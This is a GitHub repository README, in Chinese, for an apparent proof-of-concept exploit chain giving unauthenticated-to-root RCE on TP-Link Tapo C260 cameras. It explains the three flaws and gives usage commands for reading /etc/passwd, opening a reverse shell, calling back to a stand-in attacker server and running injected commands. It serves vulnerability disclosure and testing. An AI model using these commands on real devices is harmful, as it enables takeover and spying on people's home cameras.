l0lsec/tapo-c260-rce
GitHub: l0lsec/tapo-c260-rce
针对 TP-Link Tapo C260 摄像头的三漏洞链 PoC,通过路径遍历、配置污染和命令注入实现从未认证到 root RCE。
Stars: 0 | Forks: 0
# Tapo C260 RCE 链 (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653)
针对 TP-Link Tapo C260 IP 摄像头的概念验证漏洞利用链,通过组合 [Eugene Lim (Spaceraccoon)](https://spaceraccoon.dev) 发现的三个漏洞实现 **从未认证到 root 权限的 RCE**。
## 致谢
**所有漏洞研究与发现均由 [Eugene Lim (@spaceraccoon)](https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/) 完成。**
本仓库是基于其公开文章实现的 PoC。如果你觉得这个工具有用,请购买他的书:
[From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)](https://nostarch.com/)。
## 漏洞链
| CVE | 类型 | 影响 |
|-----|------|--------|
| CVE-2026-0651 | 路径遍历 / 本地文件泄露 | 通过 HTTP GET 处理程序中的 `/%2e%2e%2f` 读取任意文件 |
| CVE-2026-0652 | 任意配置写入 | Guest 级别用户可通过 cloud API 中的 JSON 键 manipulation 写入任意配置路径 |
| CVE-2026-0653 | 命令注入 / 权限提升 | `set_region_code_handle` 将未经处理的 `dev_name` 配置值传递给 `popen()` |
### 攻击链
```
LFD (read device config) --> Config Write (poison dev_name) --> Trigger region code handler --> popen() --> shell
```
## 环境要求
- Python 3.8+
- 摄像头的网络访问权限(用于 LFD)**或** 有效的 TP-Link cloud 认证 token(用于 RCE)
- Guest 级别凭据足以完成整个漏洞利用链
## 安装
```
git clone https://github.com//tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
```
## 使用说明
### 本地文件泄露 (CVE-2026-0651)
从本地网络上的摄像头读取任意文件:
```
python lfd.py --host 192.168.1.100 --token --file /etc/passwd
```
### 完整 RCE 链 (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653)
```
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id \
--cloud-token \
--lhost \
--lport 4444
# 仅 Callback (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id \
--cloud-token \
--callback http://your-server.com/pwned
# Custom command
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id \
--cloud-token \
--cmd "id > /tmp/pwned"
```
## 原理说明
1. **投毒 (Poison)** — 发送一个 JSON 键经过 manipulated 的 `setLedStatus` 请求,将包含 shell 元字符的 payload 写入设备上的 `tp_manage/info/dev_name` 配置路径。
2. **触发 (Trigger)** — 发送一个 `set_region_code` 请求。该处理程序从配置中读取 `dev_name` 并在未经清理的情况下将其插入到 `popen()` 调用中,从而执行注入的命令。
3. **Shell** — 攻击者收到回调或反向 shell。
## 受影响固件
- TP-Link Tapo C260(补丁前固件)
- 可能包括共享相同 `/bin/main` omnibus 二进制文件的其他 Tapo 型号
## 免责声明
本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。作者不对滥用行为负责。在对非本人拥有的设备进行测试之前,请务必获得明确许可。
## 参考资料
- [Original Writeup — Spaceraccoon](https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/)
- [Kennedn's Tapo Protocol Research](https://github.com/kennedn)
- [TP-Link Security Advisory](https://www.tp-link.com/us/support/faq/)
标签:CISA项目, CVE-2026-0651, CVE-2026-0652, CVE-2026-0653, Homebrew安装, IoT安全, IP摄像头, Maven, PE 加载器, PoC, Python, RCE, Tapo C260, TP-Link, Web报告查看器, 命令注入, 嵌入式安全, 提权, 攻击链, 无后门, 智能家居, 暴力破解, 本地文件读取, 漏洞验证, 编程工具, 网络安全, 网络安全审计, 路径遍历, 远程代码执行, 配置篡改, 隐私保护, 零日漏洞